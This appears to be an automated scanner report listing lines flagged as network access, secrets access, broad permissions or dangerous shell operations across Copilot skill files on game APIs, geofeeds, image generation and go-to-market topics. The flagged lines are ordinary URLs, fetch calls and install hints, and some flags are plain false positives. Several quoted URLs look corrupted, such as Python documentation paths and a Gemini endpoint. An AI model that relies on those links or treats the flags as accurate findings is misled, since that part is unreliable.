class WebFileSystem extends FileSystem { async readFile(path) { const response = await fetch(path); - Network accessline 556
async readFile(path) { const response = await fetch(path); return response.arrayBuffer(); - Network accessline 557
const response = await fetch(path);
harness/github-copilot/skills/game-engine/references/techniques.md
- Network accessline 9
**Source:** [MDN - Async Scripts for asm.js](https://developer.mozilla.org/en-US/docs/Games/Techniques/Async_scripts) - Network accessline 67
**Source:** [MDN - Optimizing Startup Performance](https://developer.mozilla.org/en-US/docs/Web/Performance/Guides/Optimizing_startup_performance) - Network accessline 143
**Source:** [MDN - WebRTC Data Channels](https://developer.mozilla.org/en-US/docs/Games/Techniques/WebRTC_data_channels) - Network accessline 178
- The WebRTC API is primarily known for audio and video communication but includes robust peer-to-peer data channel capabilities. - Libraries are recommended to simplify implementation and work around browser differences. - Full WebRTC docu - Network accessline 180
- Full WebRTC documentation is available at [MDN WebRTC API](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API). - Network accessline 186
**Source:** [MDN - Audio for Web Games](https://developer.mozilla.org/en-US/docs/Games/Techniques/Audio_for_Web_Games) - Network accessline 271
async function getFile(filepath) { const response = await fetch(filepath); - Network accessline 272
const response = await fetch(filepath); - Network accessline 355
**Source:** [MDN - 2D Collision Detection](https://developer.mozilla.org/en-US/docs/Games/Techniques/2D_collision_detection) - Network accessline 526
**Source:** [MDN - Tilemaps](https://developer.mozilla.org/en-US/docs/Games/Techniques/Tilemaps) - Network accessline 618
**Source:** [MDN - Controls Gamepad API](https://developer.mozilla.org/en-US/docs/Games/Techniques/Controls_Gamepad_API) - Network accessline 801
**Source:** [MDN - Crisp Pixel Art Look](https://developer.mozilla.org/en-US/docs/Games/Techniques/Crisp_pixel_art_look)
harness/github-copilot/skills/game-engine/references/terminology.md
- Network accessline 5
Source: https://www.gameindustrycareerguide.com/video-game-development-terms-glossary/
harness/github-copilot/skills/game-engine/references/web-apis.md
- Network accessline 595
<!-- A simple SVG health bar --> <svg width="220" height="30" xmlns="http://www.w3.org/2000/svg"> - Network accessline 596
<svg width="220" height="30" xmlns="http://www.w3.org/2000/svg"> - Network accessline 757
// Load and play a sound effect async function playSFX(url) { const response = await fetch(url); - Network accessline 758
async function playSFX(url) { const response = await fetch(url); const arrayBuffer = await response.arrayBuffer(); - Network accessline 759
const response = await fetch(url); - Network accessline 1219
- **Parallel asset processing**: Decode images, decompress data, or parse level files without blocking rendering. - **OffscreenCanvas**: Render to a canvas from within a worker, enabling parallel rendering pipelines. - **Non-blocking networ - Network accessline 1221
- **Non-blocking networking**: Perform `fetch()` or XHR calls in a worker to keep the game loop smooth. - Network accessline 1394
For new projects, the **Fetch API** (`fetch()`) is generally preferred over XHR. It provides a cleaner promise-based interface, supports streaming via `ReadableStream`, and integrates well with async/await. However, XHR remains relevant whe
harness/github-copilot/skills/gdpr-compliant/references/Security.md
harness/github-copilot/skills/generate-image/SKILL.md
- Network accessline 50
| Provider | Model | Best for | Key URL | | --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | - Network accessline 51
| --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | | Google Gemini | Nano Banana / Gemini image models | Fast iterati - Network accessline 52
| OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | - Network accessline 53
| Google Gemini | Nano Banana / Gemini image models | Fast iteration, free tier availability, visual drafts and variations. | https://aistudio.google.com/apikey | - Access to secretsline 55
[Credential-related source omitted] - Network accessline 60
| --- | --- | | Method | `POST` | | URL | `https://api.openai.com/v1/images/generations` | - Network accessline 61
[Credential-related source omitted] - Network accessline 62
| URL | `https://api.openai.com/v1/images/generations` | - Network accessline 86
| --- | --- | | Method | `POST` | | URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` | - Network accessline 87
[Credential-related source omitted] - Network accessline 88
| URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` | - Network accessline 169
- [OpenAI API keys](https://platform.openai.com/api-keys) - Network accessline 170
- [Google AI Studio API keys](https://aistudio.google.com/apikey)
harness/github-copilot/skills/geofeed-tuner/references/extended-guide.md
harness/github-copilot/skills/geofeed-tuner/references/rfc8805.txt
- Network accessline 49
Information about the current status of this document, any errata, and how to provide feedback on it may be obtained at https://www.rfc-editor.org/info/rfc8805. - Network accessline 51
https://www.rfc-editor.org/info/rfc8805. - Network accessline 58
This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (https://trustee.ietf.org/license-info) in effect on the date of - Network accessline 59
Provisions Relating to IETF Documents (https://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents - Network accessline 60
(https://trustee.ietf.org/license-info) in effect on the date of - Network accessline 565
[ISO.3166.1alpha2] ISO, "ISO 3166-1 decoding table", <http://www.iso.org/iso/home/standards/country_codes/iso- - Network accessline 566
ISO, "ISO 3166-1 decoding table", <http://www.iso.org/iso/home/standards/country_codes/iso- 3166-1_decoding_table.htm>. - Network accessline 567
<http://www.iso.org/iso/home/standards/country_codes/iso- - Network accessline 570
[ISO.3166.2] ISO, "ISO 3166-2:2007", <http://www.iso.org/iso/home/standards/ - Network accessline 571
ISO, "ISO 3166-2:2007", <http://www.iso.org/iso/home/standards/ country_codes.htm#2012_iso3166-2>. - Network accessline 572
<http://www.iso.org/iso/home/standards/ - Network accessline 576
Requirement Levels", BCP 14, RFC 2119, DOI 10.17487/RFC2119, March 1997, <https://www.rfc-editor.org/info/rfc2119>. - Network accessline 578
<https://www.rfc-editor.org/info/rfc2119>. - Network accessline 580
[RFC3629] Yergeau, F., "UTF-8, a transformation format of ISO 10646", STD 63, RFC 3629, DOI 10.17487/RFC3629, November 2003, <https://www.rfc-editor.org/info/rfc3629>. - Network accessline 582
2003, <https://www.rfc-editor.org/info/rfc3629>. - Network accessline 585
Separated Values (CSV) Files", RFC 4180, DOI 10.17487/RFC4180, October 2005, <https://www.rfc-editor.org/info/rfc4180>. - Network accessline 587
<https://www.rfc-editor.org/info/rfc4180>. - Network accessline 589
[RFC4291] Hinden, R. and S. Deering, "IP Version 6 Addressing Architecture", RFC 4291, DOI 10.17487/RFC4291, February 2006, <https://www.rfc-editor.org/info/rfc4291>. - Network accessline 591
2006, <https://www.rfc-editor.org/info/rfc4291>. - Network accessline 594
(CIDR): The Internet Address Assignment and Aggregation Plan", BCP 122, RFC 4632, DOI 10.17487/RFC4632, August 2006, <https://www.rfc-editor.org/info/rfc4632>. - Network accessline 596
2006, <https://www.rfc-editor.org/info/rfc4632>. - Network accessline 599
Address Text Representation", RFC 5952, DOI 10.17487/RFC5952, August 2010, <https://www.rfc-editor.org/info/rfc5952>. - Network accessline 601
<https://www.rfc-editor.org/info/rfc5952>. - Network accessline 604
Ed., "Hypertext Transfer Protocol (HTTP/1.1): Caching", RFC 7234, DOI 10.17487/RFC7234, June 2014, <https://www.rfc-editor.org/info/rfc7234>. - Network accessline 606
<https://www.rfc-editor.org/info/rfc7234>. - Network accessline 608
[RFC8174] Leiba, B., "Ambiguity of Uppercase vs Lowercase in RFC 2119 Key Words", BCP 14, RFC 8174, DOI 10.17487/RFC8174, May 2017, <https://www.rfc-editor.org/info/rfc8174>. - Network accessline 610
May 2017, <https://www.rfc-editor.org/info/rfc8174>. - Network accessline 615
Edition)", World Wide Web Consortium Recommendation REC- xml-20081126, November 2008, <http://www.w3.org/TR/2008/REC-xml-20081126>. - Network accessline 617
<http://www.w3.org/TR/2008/REC-xml-20081126>. - Network accessline 621
[GEOPRIV] IETF, "Geographic Location/Privacy (geopriv)", <http://datatracker.ietf.org/wg/geopriv/>. - Network accessline 622
<http://datatracker.ietf.org/wg/geopriv/>. - Network accessline 624
[GEO_Google] Google, LLC, "Google Corp Geofeed", <https://www.gstatic.com/geofeed/corp_external>. - Network accessline 626
<https://www.gstatic.com/geofeed/corp_external>. - Network accessline 628
[GEO_ICANN] ICANN, "ICANN Meeting Geolocation Data", <https://meeting-services.icann.org/geo/google.csv>. - Network accessline 630
<https://meeting-services.icann.org/geo/google.csv>. - Network accessline 632
[GEO_IETF] Kumari, W., "IETF Meeting Network Geolocation Data", <https://noc.ietf.org/geo/google.csv>. - Network accessline 633
<https://noc.ietf.org/geo/google.csv>. - Network accessline 635
[GEO_RIPE_NCC] Schepers, M., "RIPE NCC Meeting Geolocation Data", <https://meetings.ripe.net/geo/google.csv>. - Network accessline 637
<https://meetings.ripe.net/geo/google.csv>. - Network accessline 640
Shields, M. and P. Moody, "Google's Python IP address manipulation library", <http://code.google.com/p/ipaddr-py/>. - Network accessline 642
<http://code.google.com/p/ipaddr-py/>. - Network accessline 644
[ISO-GLOSSARY] ISO, "Glossary for ISO 3166", <https://www.iso.org/glossary-for-iso-3166.html>. - Network accessline 646
<https://www.iso.org/glossary-for-iso-3166.html>. - Network accessline 648
[RFC2818] Rescorla, E., "HTTP Over TLS", RFC 2818, DOI 10.17487/RFC2818, May 2000, <https://www.rfc-editor.org/info/rfc2818>. - Network accessline 650
<https://www.rfc-editor.org/info/rfc2818>. - Network accessline 652
[RFC3912] Daigle, L., "WHOIS Protocol Specification", RFC 3912, DOI 10.17487/RFC3912, September 2004, <https://www.rfc-editor.org/info/rfc3912>. - Network accessline 654
<https://www.rfc-editor.org/info/rfc3912>. - Network accessline 657
Format for Presence Information Data Format Location Object (PIDF-LO)", RFC 5139, DOI 10.17487/RFC5139, February 2008, <https://www.rfc-editor.org/info/rfc5139>. - Network accessline 659
February 2008, <https://www.rfc-editor.org/info/rfc5139>. - Network accessline 663
A Document Format for Expressing Privacy Preferences for Location Information", RFC 6772, DOI 10.17487/RFC6772, January 2013, <https://www.rfc-editor.org/info/rfc6772>. - Network accessline 665
January 2013, <https://www.rfc-editor.org/info/rfc6772>. - Network accessline 668
Authorizing Use of Domains in Email, Version 1", RFC 7208, DOI 10.17487/RFC7208, April 2014, <https://www.rfc-editor.org/info/rfc7208>. - Network accessline 670
<https://www.rfc-editor.org/info/rfc7208>. - Network accessline 673
Interchange Format", STD 90, RFC 8259, DOI 10.17487/RFC8259, December 2017, <https://www.rfc-editor.org/info/rfc8259>. - Network accessline 675
<https://www.rfc-editor.org/info/rfc8259>.
harness/github-copilot/skills/geofeed-tuner/references/snippets-python3.md
- Network accessline 3
- Use Python 3's built-in [`ipaddress` package](https://docs.python.org/3/harness/github-copilot/ipaddress.html), with `strict=True` passed to constructors where available. - Network accessline 9
- Use the [convenience factory functions in `ipaddress`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#convenience-factory-functions). - Network accessline 30
- Use the strict-form parser [`ipaddress.ip_network(address, strict=True)`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#ipaddress.ip_network).
harness/github-copilot/skills/geofeed-tuner/scripts/templates/index.html
- Network accessline 5
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Geofeed Tuner Report</title> <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet"> - Network accessline 6
<title>Geofeed Tuner Report</title> <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/f - Network accessline 7
<link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet"> - Network accessline 8
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/font/bootstrap-icons.css"> - Network accessline 9
<link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" /> - Network accessline 10
<script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script> - Network accessline 11
<script src="https://unpkg.com/h3-js@4.1.0/dist/h3-js.umd.js"></script> - Network accessline 1111
* @type {string} */ const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search'; - Network accessline 1113
const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search'; - Network accessline 1128
const batchRows = rows.slice(i * MAX_BATCH_SIZE, (i + 1) * MAX_BATCH_SIZE); try { const response = await fetch(API_ENDPOINT, { - Network accessline 1129
try { const response = await fetch(API_ENDPOINT, { method: 'POST', - Network accessline 1130
const response = await fetch(API_ENDPOINT, { - Network accessline 1411
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { - Network accessline 2025
zoom: 2 }); L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { - Network accessline 2026
}); L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors', - Network accessline 2027
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { - Network accessline 2028
attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',
harness/github-copilot/skills/gh-attach/SKILL.md
harness/github-copilot/skills/git-commit/SKILL.md
- Broad permissionsline 1
Bash
harness/github-copilot/skills/git-flow-branch-creator/SKILL.md
- Broad permissionsline 1
bash
harness/github-copilot/skills/github-copilot-starter/SKILL.md
- Network accessline 33
1. Inspect the repository for stack signals before asking questions. 2. Research `awesome-copilot` examples with web fetch before generating content: - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md - Network accessline 34
2. Research `awesome-copilot` examples with web fetch before generating content: - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md - https://github.com/github/awesome-copilot/blob/main/docs/README.agent - Network accessline 35
- https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md - Network accessline 36
- https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md - Network accessline 37
- https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md - Network accessline 38
- https://github.com/github/awesome-copilot/tree/main/instructions - Network accessline 39
- https://github.com/github/awesome-copilot/tree/main/agents - Network accessline 40
- https://github.com/github/awesome-copilot/tree/main/skills - Network accessline 119
<!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/{filename}.instructions.md --> - Network accessline 140
<!-- Based on: https://github.com/github/awesome-copilot/blob/main/instructions/nodejs-javascript-vitest.instructions.md --> - Network accessline 141
<!-- Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md --> - Network accessline 142
<!-- and: https://github.com/github/awesome-copilot/blob/main/instructions/springboot.instructions.md --> - Network accessline 171
<!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/agents/{filename}.agent.md --> - Network accessline 274
- [awesome-copilot instructions docs](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md) - Network accessline 275
- [awesome-copilot agents docs](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md) - Network accessline 276
- [awesome-copilot skills docs](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md) - Network accessline 277
- [awesome-copilot instructions directory](https://github.com/github/awesome-copilot/tree/main/instructions) - Network accessline 278
- [awesome-copilot agents directory](https://github.com/github/awesome-copilot/tree/main/agents) - Network accessline 279
- [awesome-copilot skills directory](https://github.com/github/awesome-copilot/tree/main/skills)
harness/github-copilot/skills/github-issues/references/images.md
- Network accessline 42
 - Access to secretsline 45
[Credential-related source omitted] - Network accessline 68
1. Open the issue/comment in a browser 2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL - Network accessline 69
2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL 4. These URLs work for anyone, even without repo access, and render in email notifications - Network accessline 70
3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL - Access to secretsline 73
[Credential-related source omitted]
harness/github-copilot/skills/github-release/SKILL.md
- Network accessline 78
7. Update or create `CHANGELOG.md` in Keep a Changelog format using today's `YYYY-MM-DD` date, show the proposed section to the user, then write it. Add or update the comparison link: `https://github.com/OWNER/REPO/compare/vPREV...vNEXT`. - Network accessline 229
- [Keep a Changelog](https://keepachangelog.com/en/1.1.0/) - Network accessline 230
- [GitHub compare URL pattern](https://github.com/OWNER/REPO/compare/vPREV...vNEXT)
harness/github-copilot/skills/github-release/references/commit-classification.md
harness/github-copilot/skills/github-release/references/semver-rules.md
- Network accessline 3
Reference: https://semver.org/
harness/github-copilot/skills/gitmoji/SKILL.md
- Network accessline 2
name: "gitmoji" description: >- Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change description. Use when ask - Network accessline 3
description: >- Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change description. Use when asked to write a gi - Network accessline 4
Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change description. Use when asked to write a gitmoji commit, add - Network accessline 10
Generate a copyable commit message in the https://gitmoji.dev/ convention: infer the dominant change intent, select exactly one gitmoji, match unicode versus shortcode style, and write an imperative subject plus optional body. - Network accessline 92
- Do not run `git commit` or any other mutating git command. - If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead. - Network accessline 93
- If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead. - Network accessline 141
- [gitmoji](https://gitmoji.dev) - Network accessline 142
- [gitmoji with trailing slash](https://gitmoji.dev/) - Network accessline 143
- [Conventional Commits](https://www.conventionalcommits.org/)
harness/github-copilot/skills/gitmoji/references/gitmoji-reference.md
- Network accessline 3
The complete official gitmoji list from [gitmoji.dev](https://gitmoji.dev/), in the order shown on the site. Each entry maps an emoji (and its `:shortcode:`) to the intent of the change it represents. - Network accessline 83
> Source: [gitmojis.json](https://github.com/carloscuesta/gitmoji/blob/master/packages/gitmojis/src/gitmojis.json) — 75 gitmojis.
harness/github-copilot/skills/gsap-framer-scroll-animation/SKILL.md
- Network accessline 5
metadata: author: "Utkarsh Patrikar" author_url: "https://github.com/utkarsh232005" - Network accessline 6
author: "Utkarsh Patrikar" author_url: "https://github.com/utkarsh232005" --- - Network accessline 7
author_url: "https://github.com/utkarsh232005" - Network accessline 176
- [Author profile](https://github.com/utkarsh232005)
harness/github-copilot/skills/gsap-framer-scroll-animation/references/gsap.md
harness/github-copilot/skills/gtm-0-to-1-launch/SKILL.md
- Network accessline 5
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 169
- [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 170
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/github-copilot/skills/gtm-ai-gtm/SKILL.md
- Network accessline 5
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 151
- [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 152
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/github-copilot/skills/gtm-board-and-investor-communication/SKILL.md
- Network accessline 8
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Dangerous shell operationline 383
Exec (weekly) → Leadership (bi-weekly) → All-hands (monthly) → Team (ongoing) - Network accessline 429
- [ ] Follow-up owners and dates are explicit. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 430
## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm) - Network accessline 431
- [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 432
- [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
harness/github-copilot/skills/gtm-developer-ecosystem/SKILL.md
- Network accessline 7
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 9
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 354
- [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 355
- [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
harness/github-copilot/skills/gtm-enterprise-account-planning/SKILL.md
- Network accessline 5
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 241
- [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 242
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/github-copilot/skills/gtm-enterprise-onboarding/SKILL.md
- Network accessline 7
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 9
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 437
- [ ] Red flags such as Week 4 ghosting, Week 5 pilot non-use, and Week 8-12 adoption decline have escalation actions. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 438
## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm) - Network accessline 439
- [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 440
- [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
harness/github-copilot/skills/gtm-operating-cadence/SKILL.md
- Network accessline 5
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 258
- [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 259
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/github-copilot/skills/gtm-partnership-architecture/SKILL.md
- Network accessline 5
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 156
- [Original technical product GTM source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 157
- [Author profile](https://linkedin.com/in/smitkpatel)
harness/github-copilot/skills/gtm-positioning-strategy/SKILL.md
- Network accessline 5
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 198
- [Source repository](https://github.com/beingsmit/technical-product-gtm) - Network accessline 199
- [Author profile](https://linkedin.com/in/smitkpatel)
harness/github-copilot/skills/gtm-product-led-growth/SKILL.md
- Network accessline 5
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm"
harness/github-copilot/skills/gtm-technical-product-pricing/SKILL.md
- Network accessline 5
license: MIT metadata: author: Smit Patel (https://linkedin.com/in/smitkpatel) - Network accessline 6
metadata: author: Smit Patel (https://linkedin.com/in/smitkpatel) source: https://github.com/beingsmit/technical-product-gtm - Network accessline 7
author: Smit Patel (https://linkedin.com/in/smitkpatel) - Network accessline 8
source: https://github.com/beingsmit/technical-product-gtm - Network accessline 194
- [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 195
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/github-copilot/skills/harness-engineering/SKILL.md
- Network accessline 120
The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid - Network accessline 157
- [Harness starter kit](https://github.com/baskduf/harness-starter-kit)
harness/github-copilot/skills/image-manipulation-image-magick/SKILL.md
- Dangerous shell operationline 78
echo " Ubuntu/Debian: sudo apt install imagemagick"
harness/github-copilot/skills/impediment-prioritization/SKILL.md
- Network accessline 89
| Rank | Impediment | Countermeasure | ROI | Cost | Ease | Risk | Priority | Rationale | | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/o - Network accessline 90
| --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your - Network accessline 91
| 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-you - Network accessline 92
| 2 | Secret scanning disabled | Enable secret scanning + push protection org-wide ([docs](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning)) | 8 | 3 | 7 | 3 | 25.0 | ROI: catches leaked creds pre-merge<br>Cost - Network accessline 93
| 3 | No CODEOWNERS on critical repos | Add CODEOWNERS to top-20 repos ([docs](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)) | 6 | 4 | 6 | 4 | 15.0 | - Network accessline 144
- [GitHub 2FA organization enforcement](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization) - Network accessline 145
- [GitHub secret scanning](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning) - Network accessline 146
- [GitHub CODEOWNERS](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)
harness/github-copilot/skills/import-infrastructure-as-code/SKILL.md
- Network accessline 67
| Source | URL or pattern | | --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | - Network accessline 68
| --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | | Terraform Pattern Modules | `https://raw.githubusercon - Network accessline 69
| Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | - Network accessline 70
| Terraform Pattern Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformPatternModules.csv` | - Network accessline 71
| Terraform Utility Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformUtilityModules.csv` | - Network accessline 72
| Registry namespace | `https://registry.terraform.io/namespaces/Azure` | - Network accessline 73
| Registry module | `https://registry.terraform.io/modules/Azure/<module>/azurerm/latest` | - Network accessline 74
| GitHub module | `https://github.com/Azure/terraform-azurerm-avm-res-{service}-{resource}` | - Network accessline 75
| README | `https://raw.githubusercontent.com/Azure/terraform-azurerm-avm-res-{service}-{resource}/refs/heads/main/README.md` | - Network accessline 76
| AVM index | `https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes` | - Network accessline 219
- [Azure Verified Modules index (Terraform)](https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes) - Network accessline 220
- [Terraform AVM Registry namespace](https://registry.terraform.io/namespaces/Azure)
harness/github-copilot/skills/issue-fields-migration/SKILL.md
- Network accessline 125
- [Issue fields public preview changelog](https://github.blog/changelog/2026-03-12-issue-fields-structured-issue-metadata-is-in-public-preview/)
harness/github-copilot/skills/java-add-graalvm-native-image-support/SKILL.md
- Network accessline 450
- [ ] The native executable was started and critical paths were tested after a successful build. ## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - Network accessline 451
